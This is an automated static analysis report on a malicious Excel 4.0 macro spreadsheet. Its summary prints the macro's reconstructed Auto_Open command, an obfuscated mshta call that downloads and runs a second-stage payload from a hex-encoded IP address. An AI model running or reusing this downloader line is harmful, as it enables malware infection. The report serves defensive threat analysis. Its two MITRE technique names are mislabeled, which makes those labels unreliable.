Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 e83a78660b8fa632…

MALICIOUS

Office (OLE) / .XLS

65.3 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: bc635c5610a5b86261fcbf9d75c9598c SHA-1: 0aacd294a8d7b4222d55f1c14d5aee9255b1719a SHA-256: e83a78660b8fa632d2eb9a1f43ce5cd06b66c5f35aa9cf277ce067a7e2033737
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious Link: Malicious File

The sample is an Excel 4.0 macro-enabled spreadsheet. It contains an Auto_Open macro that is configured to execute a command. The command reconstructs to 'cmd /c msh^t^a h^tt^p^:/^/0xc12a24f5/c.html', which attempts to download a second-stage payload from the specified URL. The document body also contains a lure to enable editing and content, which is a common tactic for macro-based malware.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes